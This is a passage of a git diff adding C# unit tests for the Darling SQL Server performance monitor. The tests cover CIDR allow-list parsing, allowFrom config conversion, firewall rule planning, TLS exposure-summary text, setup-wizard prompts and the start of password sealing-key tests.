+
+    [Theory]
+    [InlineData("192.168.1.50", true)]   // first entry
+    [InlineData("10.8.3.4", true)]       // second entry
+    [InlineData("203.0.113.9", true)]    // a /32
+    [InlineData("203.0.113.10", false)]  // the neighbor of the /32
+    [InlineData("192.168.2.1", false)]
+    [InlineData("10.9.0.1", false)]
+    [InlineData("2001:db8::1", false)]   // a native IPv6 address against IPv4 entries
+    public void Contains_IsTrueForAnyEntry(string address, bool expected)
+        => Assert.Equal(expected, Parsed("192.168.1.0/24,10.8.0.0/16,203.0.113.9/32").Contains(IPAddress.Parse(address)));
+
+    [Fact]
+    public void Contains_NullAddress_IsFalse()
+        => Assert.False(Parsed("192.168.1.0/24").Contains(null));
+
+    [Fact]
+    public void ImplicitConversion_FromAnIPNetwork_IsAOneEntryList()
+    {
+        CidrAllowList list = IPNetwork.Parse("192.168.1.0/24");
+
+        Assert.Equal(1, list.Count);
+        Assert.Equal("192.168.1.0/24", list.ToString());
+        Assert.True(list.Contains(IPAddress.Parse("192.168.1.50")));
+        Assert.False(list.Contains(IPAddress.Parse("192.168.2.1")));
+    }
+
+    /* ---- F7: default(CidrAllowList) admits nobody ---- */
+
+    [Fact]
+    public void CidrAllowList_Default_RefusesEveryNonLoopbackRemote()
+    {
+        CidrAllowList none = default;
+
+        foreach (var remote in new[]
+        {
+            "10.0.0.5", "192.168.1.50", "172.16.0.1", "8.8.8.8", "0.0.0.0", "255.255.255.255",
+            "2001:db8::1", "fe80::1", "::ffff:10.0.0.5", "::ffff:192.168.1.50",
+        })
+        {
+            var address = IPAddress.Parse(remote);
+            Assert.False(none.Contains(address), $"default list must not contain {remote}");
+            Assert.False(DarlingHostBinding.IsRemoteAddressAllowed(address, none), $"default list must refuse {remote}");
+        }
+
+        /* Loopback is the host's own exemption, taken before the list is asked — not a list entry. */
+        Assert.True(DarlingHostBinding.IsRemoteAddressAllowed(IPAddress.Loopback, none));
+        Assert.True(DarlingHostBinding.IsRemoteAddressAllowed(IPAddress.IPv6Loopback, none));
+        Assert.True(DarlingHostBinding.IsRemoteAddressAllowed(IPAddress.Parse("::ffff:127.0.0.1"), none));
+
+        /* An unverifiable origin fails closed, and an empty list is never "all in family". */
+        Assert.False(DarlingHostBinding.IsRemoteAddressAllowed(null, none));
+        Assert.False(none.AllInFamily(AddressFamily.InterNetwork));
+        Assert.False(none.AllInFamily(AddressFamily.InterNetworkV6));
+
+        /* The reason the type has its own default: default(IPNetwork) is 0.0.0.0/0, which admits every IPv4
+           address. If this ever stops being true the F7 note on CidrAllowList needs revisiting. */
+        Assert.True(default(IPNetwork).Contains(IPAddress.Parse("10.0.0.5")));
+    }
+
+    [Fact]
+    public void CidrAllowList_Default_ToStringIsEmpty()
+    {
+        CidrAllowList none = default;
+
+        Assert.Equal("", none.ToString());
+        Assert.Equal(0, none.Count);
+        Assert.Empty(none.Entries);
+    }
+
+    /* ---- the converter: a string or an array of strings, through the real config load ---- */
+
+    private static string ConfigJson(string section, string allowFromJson)
+        => @"{ ""postgres"": { ""managed"": true }, ""servers"": [ { ""host"": ""SQL2022"" } ], """ + section
+            + @""": { ""network"": { ""listen"": ""192.168.1.205"", ""allowFrom"": " + allowFromJson + @" } } }";
+
+    private static string? McpAllowFrom(string allowFromJson)
+        => DarlingConfig.Parse(ConfigJson("mcp", allowFromJson)).Mcp.Network!.AllowFrom;
+
+    private static string? WebAllowFrom(string allowFromJson)
+        => DarlingConfig.Parse(ConfigJson("web", allowFromJson)).Web.Network!.AllowFrom;
+
+    [Theory]
+    [InlineData(@"""192.168.1.0/24""", "192.168.1.0/24")]
+    [InlineData(@"""10.8.0.0/16, 192.168.1.5/32""", "10.8.0.0/16, 192.168.1.5/32")]   // a string is never normalized
+    [InlineData(@"""""", "")]
+    public void Converter_String_LoadsAsWritten_OnBothListeners(string json, string expected)
+    {
+        Assert.Equal(expected, McpAllowFrom(json));
+        Assert.Equal(expected, WebAllowFrom(json));
+    }
+
+    [Theory]
+    [InlineData(@"[""10.8.0.0/16"", ""192.168.1.5/32""]", "10.8.0.0/16,192.168.1.5/32")]
+    [InlineData(@"[ ""10.8.0.0/16"" , ""192.168.1.5/32"" , ""2001:db8::/32"" ]", "10.8.0.0/16,192.168.1.5/32,2001:db8::/32")]
+    [InlineData(@"[""10.8.0.0/16""]", "10.8.0.0/16")]
+    [InlineData(@"[]", "")]
+    public void Converter_Array_IsJoinedWithCommas_NoSpaces_OnBothListeners(string json, string expected)
+    {
+        Assert.Equal(expected, McpAllowFrom(json));
+        Assert.Equal(expected, WebAllowFrom(json));
+    }
+
+    [Fact]
+    public void Converter_ArrayThroughTheParser_GivesTheCanonicalList()
+    {
+        var joined = McpAllowFrom(@"[""10.8.0.0/16"", ""192.168.1.5/24"", ""10.8.0.0/16""]");
+
+        Assert.Equal("10.8.0.0/16,192.168.1.5/24,10.8.0.0/16", joined);
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", Parsed(joined!).ToString());
+    }
+
+    [Theory]
+    [InlineData(@"[""10.0.0.0/8"", """"]")]       // an empty element joins to a trailing comma
+    [InlineData(@"[""10.0.0.0/8"", "" ""]")]
+    [InlineData(@"[""""]")]
+    [InlineData(@"[]")]
+    [InlineData(@"[""10.0.0.0/8"", ""not-a-cidr""]")]
+    public void Converter_BadContent_LoadsAndTheParserRefusesIt_SoTheLadderDegradesTheListener(string json)
+    {
+        /* Shape is the converter's, content is the parser's. A typo in an optional, default-off endpoint must
+           not fail the whole config load (D-validate); it degrades that listener to loopback-only, Critical. */
+        var joined = McpAllowFrom(json);
+
+        Assert.False(CidrAllowList.TryParse(joined, out _));
+        Assert.Equal(
+            DarlingHostBinding.BindReason.AllowFromInvalid,
+            DarlingHostBinding.ResolveBind("192.168.1.205", joined, tokenPresent: true, networkConfigured: true, managed: true).Reason);
+    }
+
+    [Fact]
+    public void Converter_NumberElement_FailsLoad()
+    {
+        /* F12: today a non-string allowFrom fails the load with a JsonException; the converter keeps that for
+           an array element that is not a string. */
+        Assert.ThrowsAny<JsonException>(() => McpAllowFrom(@"[""10.0.0.0/8"", 5]"));
+        Assert.ThrowsAny<JsonException>(() => WebAllowFrom(@"[""10.0.0.0/8"", 5]"));
+    }
+
+    [Theory]
+    [InlineData(@"[""10.0.0.0/8"", null]")]                            // a null element is not a string either
+    [InlineData(@"[""10.0.0.0/8"", true]")]
+    [InlineData(@"[[""10.0.0.0/8""]]")]                                // a nested array
+    [InlineData(@"[""10.0.0.0/8"", { ""cidr"": ""10.0.0.0/8"" }]")]
+    [InlineData(@"5")]                                                  // a bare number
+    [InlineData(@"true")]
+    [InlineData(@"{ ""cidr"": ""10.0.0.0/8"" }")]
+    public void Converter_AnyOtherShape_FailsLoad(string json)
+    {
+        Assert.ThrowsAny<JsonException>(() => McpAllowFrom(json));
+        Assert.ThrowsAny<JsonException>(() => WebAllowFrom(json));
+    }
+
+    [Fact]
+    public void Converter_NullToken_IsNull()
+    {
+        Assert.Null(McpAllowFrom("null"));
+        Assert.Null(WebAllowFrom("null"));
+    }
+
+    [Fact]
+    public void Converter_Write_EmitsTheStringAsHeld()
+    {
+        Assert.Contains(
+            @"""allowFrom"":""10.8.0.0/16,192.168.1.5/32""",
+            JsonSerializer.Serialize(new McpNetworkConfig { AllowFrom = "10.8.0.0/16,192.168.1.5/32" }));
+        Assert.Contains(@"""allowFrom"":null", JsonSerializer.Serialize(new WebNetworkConfig()));
+    }
+
+    [Fact]
+    public void Converter_IsNotOnThePostgresStoreAllowFrom_AnArrayStillFailsLoad_AStringStillLoads()
+    {
+        /* postgres.network.allowFrom feeds pg_hba and the store reconcile (a separate subsystem with its own
+           symmetric-removal rules) and stays exactly as it was: a string only. */
+        const string Template = @"{ ""postgres"": { ""managed"": true, ""network"": { ""listen"": ""192.168.1.205"", ""allowFrom"": {0} } },
+            ""servers"": [ { ""host"": ""SQL2022"" } ] }";
+
+        Assert.Equal(
+            "192.168.1.0/24",
+            DarlingConfig.Parse(Template.Replace("{0}", @"""192.168.1.0/24""")).Postgres.Network!.AllowFrom);
+        Assert.ThrowsAny<JsonException>(
+            () => DarlingConfig.Parse(Template.Replace("{0}", @"[""192.168.1.0/24""]")));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs b/Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs
index 39ded3a261..671a5dcd22 100644
--- a/Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs
+++ b/Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs
@@ -151,7 +151,9 @@ A rig built per the lane's own setup only carries the suite's own database and a
            fails at StoreUnreachable before it ever reaches a settings verdict — the defect this rewrite fixes
            (it used to point straight at DARLING_TEST_PGRUNTIME's own data directory and assume "darling"
            already existed there, which is true of a bootstrapped product install and false of a bare rig). */
-        var adminBuilder = new NpgsqlConnectionStringBuilder(connectionString) { Database = "postgres" };
+        /* #5549: unpooled, because this connection runs the create and the drop of "darling". A pooled one would hand the
+           backend that ran the DROP DATABASE to the next test, and a TimescaleDB job run on that backend crashed it. */
+        var adminBuilder = new NpgsqlConnectionStringBuilder(ScratchPostgres.UnpooledAdminConnectionString(connectionString)) { Database = "postgres" };
         var createdDarlingDatabase = false;
         await using (var admin = new NpgsqlConnection(adminBuilder.ConnectionString))
         {
@@ -227,6 +229,9 @@ await File.WriteAllTextAsync(configPath, $$"""
 
             if (createdDarlingDatabase)
             {
+                /* "darling" was migrated above, so it carries TimescaleDB jobs: no job worker is left running in it when the
+                   drop below goes ahead (#5480). The rig's own admin string names a database, and the helper swaps in "darling". */
+                await ScratchPostgres.QuiesceTimescaleJobsAsync(adminBuilder.ConnectionString, "darling");
                 await using var admin = new NpgsqlConnection(adminBuilder.ConnectionString);
                 await admin.OpenAsync(ct);
                 await using var terminate = new NpgsqlCommand(
diff --git a/Darling/Darling.Tests/DarlingCliCommandsTests.cs b/Darling/Darling.Tests/DarlingCliCommandsTests.cs
index 8aca1d2eda..442bb68e23 100644
--- a/Darling/Darling.Tests/DarlingCliCommandsTests.cs
+++ b/Darling/Darling.Tests/DarlingCliCommandsTests.cs
@@ -41,6 +41,182 @@ public void IsValidateConfigVerb_RecognizesBothAliases_CaseInsensitive(string ar
         Assert.Equal(expected, DarlingCliCommands.IsValidateConfigVerb(arg));
     }
 
+    [Fact]
+    public void PlanFirewallRules_Lists_CarryCanonicalScope()
+    {
+        /* #5288: an allowFrom LIST reaches the plan as the parser's canonical text (trimmed, host bits masked,
+           duplicates dropped, comma-joined), and the builder turns it into one quoted literal per range. */
+        var config = new DarlingConfig();
+        config.Postgres!.Managed = true;
+        config.Mcp.Enabled = true;
+        config.Mcp.Network = new McpNetworkConfig { Listen = "192.168.1.205", AllowFrom = " 10.8.0.0/16 , 192.168.1.5/24,10.8.0.0/16", Token = "t" };
+        config.Web.Enabled = true;
+        config.Web.Network = new WebNetworkConfig { Listen = "192.168.1.205", AllowFrom = "192.168.1.77/24,10.8.0.0/16", Token = "t" };
+
+        var plans = DarlingCliCommands.PlanFirewallRules(config);
+        var mcp = Assert.Single(plans, p => p.Surface == "MCP");
+        var web = Assert.Single(plans, p => p.Surface == "web dashboard");
+        Assert.Equal(DarlingCliCommands.FirewallRuleAction.Open, mcp.Action);
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", mcp.Cidr);
+        Assert.Equal(DarlingCliCommands.FirewallRuleAction.Open, web.Action);
+        Assert.Equal("192.168.1.0/24,10.8.0.0/16", web.Cidr);
+        Assert.Contains("-RemoteAddress '10.8.0.0/16','192.168.1.0/24' |",
+            DarlingManagedPostgres.BuildFirewallEnableCommand(mcp.RuleName, mcp.Port, mcp.Cidr!), StringComparison.Ordinal);
+
+        /* One wrong-family entry: the resolver refuses the whole list, so nothing opens and no scope is forwarded. */
+        config.Mcp.Network = new McpNetworkConfig { Listen = "192.168.1.205", AllowFrom = "10.8.0.0/16,2001:db8::/32", Token = "t" };
+        var refused = Assert.Single(DarlingCliCommands.PlanFirewallRules(config), p => p.Surface == "MCP");
+        Assert.Equal(DarlingCliCommands.FirewallRuleAction.Remove, refused.Action);
+        Assert.Null(refused.Cidr);
+        Assert.Contains("CIDR list", refused.Note, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The reason the firewall verb gives for a refused allowFrom list names the address spelling rule (each IPv4
+    /// address is four plain decimal numbers, with no IPv6 zone index) in the words both hosts' Critical line and the
+    /// wizard's re-prompts use. The refused list is an IPv4 address with a leading zero, the spelling the rule exists
+    /// for, and it is refused on both surfaces.
+    /// </summary>
+    [Theory]
+    [InlineData("mcp", "MCP")]
+    [InlineData("web", "web dashboard")]
+    public void PlanFirewallRules_ARefusedAllowFrom_NamesTheAddressSpellingRule(string section, string surface)
+    {
+        const string Clause = "with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index";
+        var config = new DarlingConfig();
+        config.Postgres!.Managed = true;
+        config.Mcp.Enabled = true;
+        config.Mcp.Network = new McpNetworkConfig { Listen = "192.168.1.205", AllowFrom = "10.8.0.0/16,192.168.010.0/24", Token = "t" };
+        config.Web.Enabled = true;
+        config.Web.Network = new WebNetworkConfig { Listen = "192.168.1.205", AllowFrom = "10.8.0.0/16,192.168.010.0/24", Token = "t" };
+
+        var plan = Assert.Single(DarlingCliCommands.PlanFirewallRules(config), p => p.Surface == surface);
+
+        Assert.Equal(DarlingCliCommands.FirewallRuleAction.Remove, plan.Action);
+        Assert.Null(plan.Cidr);
+        Assert.StartsWith(section + ".network.allowFrom is missing, is not a valid CIDR list (every entry in CIDR form, " + Clause + "), or has an entry whose address family does not match listen", plan.Note, StringComparison.Ordinal);
+    }
+
+    /* ---- #5288 (F9): the web login hint the wizard prints after it writes a web block ---- */
+
+    [Theory]
+    [InlineData("pfx")]
+    [InlineData("pem")]
+    public void WebLoginHint_TlsSet_PrintsHttps(string form)
+    {
+        var tls = form == "pfx"
+            ? new WebTlsConfig { PfxPath = @"C:\certs\dash.pfx" }
+            : new WebTlsConfig { CertPath = @"C:\certs\dash.crt", KeyPath = @"C:\certs\dash.key" };
+
+        var hint = DarlingCliCommands.BuildWebLoginHint("192.168.1.205", 5153, tls);
+
+        /* The network listener speaks TLS only once a certificate is set, so an http:// URL fails the handshake. */
+        Assert.Equal("    https://192.168.1.205:5153/?token=<your-access-token>", hint[1]);
+        Assert.DoesNotContain(hint, line => line.Contains("http://", StringComparison.Ordinal));
+
+        /* A block the service REFUSES (both forms) leaves the dashboard loopback-only: no remote URL, so http stays. */
+        var refused = DarlingCliCommands.BuildWebLoginHint(
+            "192.168.1.205", 5153, new WebTlsConfig { PfxPath = "a.pfx", CertPath = "a.crt", KeyPath = "a.key" });
+        Assert.Equal("    http://192.168.1.205:5153/?token=<your-access-token>", refused[1]);
+    }
+
+    [Fact]
+    public void WebLoginHint_NoTls_ByteIdentical()
+    {
+        /* Without a certificate the header and the URL line are exactly what the wizard printed before #5288. */
+        foreach (var tls in new WebTlsConfig?[] { null, new WebTlsConfig() })
+        {
+            var hint = DarlingCliCommands.BuildWebLoginHint("192.168.1.205", 5153, tls);
+            Assert.Equal(3, hint.Count);
+            Assert.Equal("  Remote browser login (after the service restarts):", hint[0]);
+            Assert.Equal("    http://192.168.1.205:5153/?token=<your-access-token>", hint[1]);
+        }
+
+        Assert.Equal(
+            "    http://<a-LAN-IP-of-this-machine>:5153/?token=<your-access-token>",
+            DarlingCliCommands.BuildWebLoginHint("0.0.0.0", 5153, null)[1]);
+
+        /* The one line that changed (F9): loopback presents the token too (#1649), so it no longer says it needs none. */
+        var note = DarlingCliCommands.BuildWebLoginHint("192.168.1.205", 5153, null)[2];
+        Assert.Contains("loopback presents the token too", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("needs no token", note, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("2001:db8::5", "    http://[2001:db8::5]:5153/?token=<your-access-token>")]
+    [InlineData("[2001:db8::5]", "    http://[2001:db8::5]:5153/?token=<your-access-token>")]
+    [InlineData("::", "    http://<a-LAN-IP-of-this-machine>:5153/?token=<your-access-token>")]
+    [InlineData("0.0.0.0", "    http://<a-LAN-IP-of-this-machine>:5153/?token=<your-access-token>")]
+    public void WebLoginHint_Ipv6Listen_IsBracketed(string listen, string expectedUrlLine)
+    {
+        /* http://2001:db8::5:5153/ is not a URL, and a :: listen printed http://:::5153/ before this. */
+        Assert.Equal(expectedUrlLine, DarlingCliCommands.BuildWebLoginHint(listen, 5153, null)[1]);
+
+        /* TLS only changes the scheme. */
+        Assert.Equal(
+            expectedUrlLine.Replace("http://", "https://", StringComparison.Ordinal),
+            DarlingCliCommands.BuildWebLoginHint(listen, 5153, new WebTlsConfig { PfxPath = "a.pfx" })[1]);
+    }
+
+    /* ---- #5288: the TLS line the exposure summary prints, shared by MCP and web ---- */
+
+    private const string McpRisk = "the bearer token and every tool result cross the segment in the clear";
+    private const string WebRisk = "the access token and its session cookie cross the segment in the clear";
+
+    [Fact]
+    public void ExposureSummary_McpTlsLine_NotConfigured_SaysOff_AndNamesTheMcpSetting()
+    {
+        Assert.Equal(
+            "         TLS: off — the bearer token and every tool result cross the segment in the clear. Set mcp.network.tls to serve HTTPS.",
+            DarlingCliCommands.DescribeExposureTls(null, "mcp", "MCP server", McpRisk));
+        Assert.Equal(
+            DarlingCliCommands.DescribeExposureTls(null, "mcp", "MCP server", McpRisk),
+            DarlingCliCommands.DescribeExposureTls(new McpNetworkConfig().Tls, "mcp", "MCP server", McpRisk));
+    }
+
+    [Fact]
+    public void ExposureSummary_McpTlsLine_Invalid_NamesTheProblem_AndLoopbackOnly()
+    {
+        var both = new WebTlsConfig { PfxPath = "a.pfx", CertPath = "a.crt", KeyPath = "a.key" };
+        var line = DarlingCliCommands.DescribeExposureTls(both, "mcp", "MCP server", McpRisk);
+
+        Assert.StartsWith("         TLS: MISCONFIGURED — mcp.network.tls names BOTH", line, StringComparison.Ordinal);
+        Assert.EndsWith(" The MCP server will bind loopback-only.", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("web.network.tls", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ExposureSummary_McpTlsLine_Pfx_And_Pem_NameTheFile_AndCarryTheWarning()
+    {
+        Assert.Equal(
+            @"         TLS: on (PKCS#12, C:\certs\mcp.pfx).",
+            DarlingCliCommands.DescribeExposureTls(new WebTlsConfig { PfxPath = @"C:\certs\mcp.pfx" }, "mcp", "MCP server", McpRisk));
+        Assert.Equal(
+            @"         TLS: on (PEM pair, C:\certs\mcp.crt).",
+            DarlingCliCommands.DescribeExposureTls(
+                new WebTlsConfig { CertPath = @"C:\certs\mcp.crt", KeyPath = @"C:\certs\mcp.key" }, "mcp", "MCP server", McpRisk));
+
+        /* A stale PKCS#12 password beside a working PEM pair: the service logs it at every start, and so does this line. */
+        var stale = DarlingCliCommands.DescribeExposureTls(
+            new WebTlsConfig { CertPath = "c.crt", KeyPath = "c.key", PfxPassword = "x" }, "mcp", "MCP server", McpRisk);
+        Assert.Contains(" NOTE: mcp.network.tls sets a PKCS#12 password alongside a PEM pair", stale, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ExposureSummary_WebTlsLine_StaysByteIdentical_AfterTheSharing()
+    {
+        Assert.Equal(
+            "         TLS: off — the access token and its session cookie cross the segment in the clear. Set web.network.tls to serve HTTPS.",
+            DarlingCliCommands.DescribeExposureTls(null, "web", "dashboard", WebRisk));
+        Assert.Equal(
+            @"         TLS: on (PKCS#12, C:\certs\dash.pfx).",
+            DarlingCliCommands.DescribeExposureTls(new WebTlsConfig { PfxPath = @"C:\certs\dash.pfx" }, "web", "dashboard", WebRisk));
+        Assert.EndsWith(
+            " The dashboard will bind loopback-only.",
+            DarlingCliCommands.DescribeExposureTls(new WebTlsConfig { CertPath = "only.crt" }, "web", "dashboard", WebRisk),
+            StringComparison.Ordinal);
+    }
+
     [Fact]
     public void FormatProbeLine_Success_ShowsVersionEditionAndMsdb()
     {
@@ -996,6 +1172,105 @@ public async Task ConfigureNetwork_Web_GeneratesToken_PrintsPlaintextOnce_Stores
         }
     }
 
+    /// <summary>
+    /// #5288: the wizard takes a comma list, writes ONE canonical JSON string (never an array: an older service
+    /// refuses to start on one), and builds the firewall hint from the same canonical text, so the rule the
+    /// operator is told to run carries the scope the service enforces (not the typed spaces and host bits).
+    /// </summary>
+    [Theory]
+    [InlineData("2", "mcp")]
+    [InlineData("3", "web")]
+    public async Task ConfigureNetwork_TwoRanges_WritesOneCanonicalString_AndTheFirewallHintCarriesBoth(string choice, string surface)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "The wizard generates a DPAPI-protected token.");
+
+        var root = Directory.CreateTempSubdirectory("darling-confignet-list-");
+        try
+        {
+            var configPath = CopySampleTo(root.FullName);
+            var input = Script(choice, "192.168.1.205", " 10.8.0.0/16 , 192.168.1.5/24", "n");
+            var output = new StringWriter();
+            var error = new StringWriter();
+
+            var exit = await DarlingCliCommands.ConfigureNetworkAsync(configPath, input, output, error, CancellationToken.None);
+            Assert.Equal(0, exit);
+
+            var written = await File.ReadAllTextAsync(configPath);
+            Assert.Contains("\"allowFrom\": \"10.8.0.0/16,192.168.1.0/24\"", written, StringComparison.Ordinal);
+            using (var doc = JsonDocument.Parse(written, new JsonDocumentOptions { CommentHandling = JsonCommentHandling.Skip, AllowTrailingCommas = true }))
+            {
+                Assert.Equal(JsonValueKind.String, doc.RootElement.GetProperty(surface).GetProperty("network").GetProperty("allowFrom").ValueKind);
+            }
+
+            var config = DarlingConfig.Parse(written);
+            if (surface == "mcp")
+            {
+                Assert.Equal(Host.McpBindMode.NetworkAndLoopback, Host.ResolveMcpBind(config.Mcp, managed: true).Mode);
+            }
+            else
+            {
+                Assert.Equal(DarlingHostBinding.BindMode.NetworkAndLoopback, WebHost.ResolveWebBind(config.Web, managed: true).Mode);
+            }
+
+            Assert.Contains("-RemoteAddress '10.8.0.0/16','192.168.1.0/24' | Out-Null", output.ToString(), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>
+    /// The re-prompt after a refused list names the list form and the address spelling rule (each IPv4 address is
+    /// four plain decimal numbers, with no IPv6 zone index), in the words both hosts' Critical line uses. The second
+    /// bad list is an IPv4 address with a leading zero, the spelling the rule exists for.
+    /// </summary>
+    [Theory]
+    [InlineData("2", "mcp")]
+    [InlineData("3", "web")]
+    public async Task ConfigureNetwork_ListWithABadEntry_RePromptsWithTheListAwareText_AndTheAddressSpellingRule(string choice, string surface)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "The wizard generates a DPAPI-protected token.");
+
+        var root = Directory.CreateTempSubdirectory("darling-confignet-listbad-");
+        try
+        {
+            var configPath = CopySampleTo(root.FullName);
+
+            /* The first two lists each have a bad entry, so the resolver refuses them and the wizard asks listen + allowFrom again. */
+            var input = Script(choice, "192.168.1.205", "10.8.0.0/16,bogus", "192.168.1.205", "10.8.0.0/16,192.168.010.0/24", "192.168.1.205", "10.8.0.0/16,192.168.1.0/24", "n");
+            var output = new StringWriter();
+            var error = new StringWriter();
+
+            var exit = await DarlingCliCommands.ConfigureNetworkAsync(configPath, input, output, error, CancellationToken.None);
+            Assert.Equal(0, exit);
+
+            var text = output.ToString();
+            Assert.Equal(2, CountOccurrences(text, "not a valid CIDR list"));
+            Assert.Contains(surface + ".network.allowFrom '10.8.0.0/16,bogus' is not a valid CIDR list", text, StringComparison.Ordinal);
+            Assert.Contains(surface + ".network.allowFrom '10.8.0.0/16,192.168.010.0/24' is not a valid CIDR list", text, StringComparison.Ordinal);
+            Assert.Equal(2, CountOccurrences(text, "every entry in CIDR form (/32 for one address), with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same family as listen"));
+            Assert.Contains("masked, not refused", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("host bits zeroed", text, StringComparison.Ordinal);
+            Assert.Contains("\"allowFrom\": \"10.8.0.0/16,192.168.1.0/24\"", await File.ReadAllTextAsync(configPath), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>The README's two allowFrom sentences (the store's one range, the MCP list) carry the same address spelling clause as the re-prompt.</summary>
+    [Fact]
+    public void Readme_NamesTheAddressSpellingRule_OnTheStoreRangeAndOnTheList()
+    {
+        const string Clause = "with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index";
+        var readme = RepoFile.ReadRepoFile("Darling", "README.md");
+
+        Assert.Contains("**`allowFrom`**: one range in CIDR form, " + Clause + ". The store takes ONE range and never a list", readme, StringComparison.Ordinal);
+        Assert.Contains("Each entry must be in CIDR form (use `/32` for one address), " + Clause + ", and must match the address family of `listen`.", readme, StringComparison.Ordinal);
+    }
+
     [Fact]
     public async Task ConfigureNetwork_Web_ExistingToken_KeptByDefault()
     {
@@ -1299,6 +1574,55 @@ await File.WriteAllTextAsync(configPath, """
         }
     }
 
+    /// <summary>
+    /// #5288: the wizard's exposure summary prints each endpoint's TLS line directly under its own surface line, and
+    /// only for an exposed one. The pure tests pin the words; this one pins that the wizard calls them, in that
+    /// order, with the arguments the endpoint needs (a correct builder nothing calls is a defect we have had).
+    /// </summary>
+    [Fact]
+    public async Task ExposureSummary_McpTlsLine_PrintsUnderTheMcpLine_BeforeTheWebLine()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "The wizard queries the Windows service.");
+
+        var root = Directory.CreateTempSubdirectory("darling-confignet-tlsline-");
+        try
+        {
+            var configPath = Path.Combine(root.FullName, "darling.json");
+            await File.WriteAllTextAsync(configPath, """
+                {
+                  "postgres": { "managed": true },
+                  "mcp": {
+                    "network": {
+                      "listen": "192.168.1.205", "allowFrom": "192.168.1.0/24", "token": "mcp-secret",
+                      "tls": { "pfxPath": "C:\\certs\\mcp.pfx" }
+                    }
+                  },
+                  "web": {
+                    "network": { "listen": "192.168.1.205", "allowFrom": "192.168.1.0/24", "token": "web-secret" }
+                  },
+                  "servers": [ { "host": "S" } ]
+                }
+                """);
+
+            var output = new StringWriter();
+            var exit = await DarlingCliCommands.ConfigureNetworkAsync(
+                configPath, Script("q"), output, new StringWriter(), CancellationToken.None);
+            Assert.Equal(0, exit);
+
+            var text = output.ToString().Replace("\r\n", "\n", StringComparison.Ordinal);
+            Assert.Contains(
+                "  MCP  : EXPOSED — listen 192.168.1.205, allowFrom 192.168.1.0/24\n"
+                + "         TLS: on (PKCS#12, C:\\certs\\mcp.pfx).\n"
+                + "  Web  : EXPOSED — listen 192.168.1.205, allowFrom 192.168.1.0/24\n"
+                + "         TLS: off — the access token and its session cookie cross the segment in the clear. Set web.network.tls to serve HTTPS.\n",
+                text, StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
     [Fact]
     public async Task ConfigureNetwork_QuitAtMenu_WritesNothing()
     {
@@ -2121,7 +2445,11 @@ public void Readme_DocumentsBothVerbs_TheDefaultScope_AndTheXeSessionConsequence
         Assert.Contains("--disable-collector long_query_completions", readme, StringComparison.Ordinal);
         Assert.Contains("--enable-collector long_query_completions --server", readme, StringComparison.Ordinal);
         Assert.Contains("fleet-wide**", readme, StringComparison.Ordinal);
-        Assert.Contains("creates the `PerformanceMonitor_LongQueryCompletions` Extended Events session", readme, StringComparison.Ordinal);
+        /* The session names are per install since #4961, so the README says the verb creates THIS install's own session, under
+           the name the install id makes, and not the shared name older versions used. */
+        Assert.Contains("creates this install's own long-query Extended Events session", readme, StringComparison.Ordinal);
+        Assert.Contains("`PerformanceMonitor_Darling_<id>_LongQueryCompletions`", readme, StringComparison.Ordinal);
+        Assert.DoesNotContain("creates the `PerformanceMonitor_LongQueryCompletions` Extended Events session", readme, StringComparison.Ordinal);
         Assert.Contains("disabling it drops that session", readme, StringComparison.Ordinal);
         Assert.Contains("no MCP tool", readme, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/DarlingCliSealKeyTests.cs b/Darling/Darling.Tests/DarlingCliSealKeyTests.cs
new file mode 100644
index 0000000000..1ce44cf65f
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingCliSealKeyTests.cs
@@ -0,0 +1,113 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The key <c>--add-server</c> seals with (#5366): the key file when it opens and matches the published key, else
+/// the published key when the service says it is healthy.</summary>
+public sealed class DarlingCliSealKeyTests
+{
+    private static readonly PasswordPrivateKey FileKey = PasswordPrivateKey.Generate();
+
+    private static PublishedPasswordKey Published(PasswordPrivateKey key) =>
+        new(key.PublicKey.KeyId, key.PublicKey.Spki, PasswordSeal.Algorithm);
+
+    private static PasswordKeyServiceState State(string state, string? note = null) =>
+        new("host-example", FileKey.PublicKey.KeyId, state, note, DateTime.UtcNow);
+
+    private static readonly PasswordBinding Binding = PasswordBinding.ForServer(
+        ServerConnectionIdentity.FromStoredColumns("sql-example", 0, "sqlserver", null, false, "sql", "monitor", "Mandatory", false, false));
+
+    [Fact]
+    public void AKeyFileThatMatchesThePublishedKey_IsUsed_AndOpensWhatItSeals()
+    {
+        var decision = DarlingCliSealKey.Decide(Published(FileKey), State("ok"), FileKey.ExportPkcs8());
+
+        Assert.True(decision.Ring.Status.CanSeal);
+        Assert.Null(decision.Notice);
+        Assert.Equal("p@ss-not-real", decision.Ring.Open(decision.Ring.Seal("p@ss-not-real", Binding), Binding));
+    }
+
